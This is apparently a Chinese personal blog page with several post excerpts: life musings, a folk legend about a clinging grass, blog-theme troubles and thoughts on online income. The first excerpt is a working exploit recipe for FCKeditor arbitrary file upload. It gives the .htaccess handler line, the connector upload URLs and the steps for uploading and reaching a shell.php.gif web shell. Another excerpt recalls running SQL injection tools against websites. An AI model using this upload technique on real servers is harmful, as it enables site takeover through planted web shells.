2011年8月

记录下也许哪天还找这个呢!
FCKeditor all versian Arbitrary File Upload Vulnerability
发布时间: 2011
源码地址:http://sourceforge.net/projects/fckeditor/
漏洞作者: pentesters.ir
利用步骤:
1.创建一个htaccess文件:
代码内容:

SetHandler application/x-httpd-php

2.实用编辑器上传htaccess文件.
http://www.badguest.cn/FCKeditor/editor/filemanager/upload/test.html
http://www.badguest.cn/FCKeditor/editor/filemanager/browser/default/connectors/test.html
3.上传shell.php.gif
4.上传后shell.php.gif, 会自动被改名为 shell_php.gif
5.访问http://www.badguest.cn/上传目录/shell_php.gif

申明:我技术很差,纯属打酱油的队伍。
我也很久没有去检测什么,也检测不了什么。
社工我吧,结果也许并不是你想要的。

我从05年底开始接触一些有关黑客方面的一些东西,那时候是职校。每天放学都还会到网吧看看教材看看文章什么的。

那时候的黑客界很辉煌,焦点,邪八,火狐,黑鹰,华夏,黑客动画吧。。。数不胜数。无数的技术小组。

还记得第一次对着教程的步骤,用啊DSQL注入工具,攻击网站的时候,是说怎么也弄不好了,网址和教程上一样的

没错呀,结果也一样过的没错呀,为啥别人进后台我就进不了呢?

- 阅读剩余部分 -

许久不曾写过东西,偶尔也会有洋洋洒洒写下一大篇的欲望。
点开了新文章的页面,却是不知道写些什么,最后无疾而终。
这种事情也不是通过努力,学习就能提高到一个什么样的高度。
总之关于文章的事情就是这样,说是记录生活,看现在我的生活。
一种单一的模式,循环下去。明日复明日,明日何其多。
记录生活?我真没发现有什么需要记录的,如果说需要一个定性的指标倒也可以写成
上班下班上网睡觉上班接着在字上加上两点,数学上这叫无限循环?
罪过罪过,怎么又开始抱怨了。
昨天睡的较早,睡前翻了翻那本“笑面人”,还记得是读初中,那时候需要买英汉词典,在书店
恰好看到了一本,封面上是笑的很夸张的小丑,看了看名字笑面人,本以为是一本笑话书才买来着。
看书也是为了给自己找点感觉。找到一种可以通过文字抒发内心的技巧或者说是技术。

速度
官二代炫权,富二代炫钱,身为一个博主我也来炫一下。

这两天折腾坏了,本是想换个简单点的主题,无奈不懂,上去就错误500.
站点底部错乱等鸡毛问题。问题不大却挺多的,一会看这个不顺眼,一会看那个又有些别扭。
自己也没有能力去让它按照我的意愿去改变。索性啥也不干了,上主机管理面板直接来了个恢复。

杜拉克草的传说
  有种叫杜拉克的草,还有一种树叫天锥树。天锥长的不高,在天锥的边上有松树、柏树。杜拉克草从出生就选择了天锥,它缠绕着它生长,可天锥也会老、也会死,但是杜拉克草它不后悔。当天锥死的时候它也会随它而去,和它一起化成灰、化成烟。传说这种草只缠绕在一种叫做天锥的植物上,其实天锥是一种长不高的树木。可就在杜拉克草目睹着天锥的种种缺点,目睹着其它树木伟岸的身姿,它都不会缠绕它们、它只会死死地缠绕着天锥。直到天锥死了。   此后,杜拉克草的传说被人逐渐的知道,后用来形容恋人之间的深厚的感情。

今天顺着访问记录,追溯到一位朋友的站。上面全是关于网赚的。
看着确实大为心动,只从换工作后,经济收入已大打折扣,而我平时网购有很厉害。
如果说以前网购站到收入的20%那么现在则高达40%,唯一欣慰的是现在比以前节制的不只一点点。
经济危机所以滋生出网赚的念头,毕竟我这3G上网要钱,博客域名空间要钱,电费也要钱。
什么都要钱,连我这个贪图享受的货如今都已经有危机感了。难能可贵啊。正所谓穷则变变则通。
这也倒好,把网络游荡的时间来赚个几块钱,补贴下网费(3G网卡伤不起)

- 阅读剩余部分 -